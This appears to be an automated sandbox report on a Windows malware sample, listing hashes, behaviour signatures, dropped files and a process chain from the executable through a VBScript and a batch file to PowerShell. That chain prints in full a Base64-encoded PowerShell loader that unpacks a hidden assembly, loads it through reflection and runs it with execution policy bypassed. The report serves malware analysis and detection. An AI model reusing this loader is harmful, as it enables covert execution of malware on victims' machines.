bb88f7580c25b779360d2603e5cc6faedb86c19575773c9535a66fbc78318767

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
02/04/2024, 10:43

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General

Target
55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe
Size 271KB
Sample240402-msmdsafe7v
SHA256 55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
MD5 8b8db4eaa6f5368eb5f64359c6197b43
SHA1 e9b51842e2d2f39fa06e466ae73af341ddffe1c8
SHA512 4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056
SSDEEP 6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2116	powershell.exe
2600	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 2900	2372	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe	28
PID 2372 wrote to memory of 2900	2372	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe	28
PID 2372 wrote to memory of 2900	2372	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe	28
PID 2372 wrote to memory of 2900	2372	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe	28
PID 2900 wrote to memory of 2532	2900	wscript.exe	29
PID 2900 wrote to memory of 2532	2900	wscript.exe	29
PID 2900 wrote to memory of 2532	2900	wscript.exe	29
PID 2900 wrote to memory of 2532	2900	wscript.exe	29
PID 2532 wrote to memory of 2116	2532	cmd.exe	31
PID 2532 wrote to memory of 2116	2532	cmd.exe	31
PID 2532 wrote to memory of 2116	2532	cmd.exe	31
PID 2532 wrote to memory of 2116	2532	cmd.exe	31
PID 2532 wrote to memory of 2600	2532	cmd.exe	32
PID 2532 wrote to memory of 2600	2532	cmd.exe	32
PID 2532 wrote to memory of 2600	2532	cmd.exe	32
PID 2532 wrote to memory of 2600	2532	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe
"C:\Users\Admin\AppData\Local\Temp\55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2532
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2116
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

-temp.ps1

Path C:\Users\Admin\-temp.ps1
Size 1KB
SHA256 017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0
MD5 ee6d2d219d1affb98fb9dc1de51d895e
SHA1 aaa2ceb5f7214c76b8a050a06d257cdc30d6bb48
SHA512 52139b56af32835b93fb8eb93b553325e36654debe5c15e6b61930ffe8027e0ee5eb0998da4c37ec047c052522a022d7103c33d7495eb1a3504cfee1780229bf
MD5 SHA1 SHA512

Submit Download

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 675bc7134227d445a7c6f8330c697bb8928b364a4d7e8d2b71db2a9f7db21928
MD5 5fbc461e1ff3a5695fca99c1dd77b6b3
SHA1 9cc98912e9976831506d7f253cdc8fce2992d3a2
SHA512 8ace2fbb87282ce6c196362a6e8db0038c535e941e1fc1c34b9a3afc0032fd2de81e08d3ab361364eb1b8ca11d5c5c5044453465f69ef8d874ee71c82ce70036
SSDEEP 96:85aCNM8UnqvsqvJCwoGf/5aCNM8UnqvsEHyqvJCwor8fv56qQHgA7SeXlUV9:kv4UoGfxv4AHnor8fvxNA7SeC
MD5 SHA1 SHA512 SSDEEP

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 231B
SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
MD5 abe1dd23ab4c11aae54f1898c780c0b5
SHA1 bb2f974b3e0af2baa40920b475582bfd4fb28001
SHA512 e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 204KB
SHA256 e24aaddfa2ece0891ad7b3c51779c65bbf95e4fded59fc46fe4fef311e1de3e1
MD5 72b17467a49b7813856fa604d1d291c8
SHA1 3116d07854d56f0bc505be8b80804a7319208739
SHA512 38c99cc716097ee7cb642203432ffbd1ef6ce8a0c9b21aa2827962b82456ecb3113fa1edd362aab013737e3bdfb2d0803145fc0caf612054ba47f6454c3a4843
SSDEEP 3072:YZ5q1dIOxM7uywhXemKY2GDM676x3P6qpsIRRpAdJ6PjzqqaTehW6+Goun9Oem1Z:e+PLjkf7VGrrPrmKCeFIzxzwhFfyGWzC
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2116-13-0x0000000074460000-0x0000000074A0B000-memory.dmp

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memory/2116-10-0x0000000002BE0000-0x0000000002C20000-memory.dmp

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memory/2116-11-0x0000000002BE0000-0x0000000002C20000-memory.dmp

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memory/2116-9-0x0000000074460000-0x0000000074A0B000-memory.dmp

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memory/2116-8-0x0000000074460000-0x0000000074A0B000-memory.dmp

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memory/2600-19-0x0000000074410000-0x00000000749BB000-memory.dmp

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memory/2600-20-0x0000000002B30000-0x0000000002B70000-memory.dmp

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memory/2600-21-0x0000000074410000-0x00000000749BB000-memory.dmp

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memory/2600-24-0x0000000074410000-0x00000000749BB000-memory.dmp

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memory/2600-25-0x0000000074410000-0x00000000749BB000-memory.dmp

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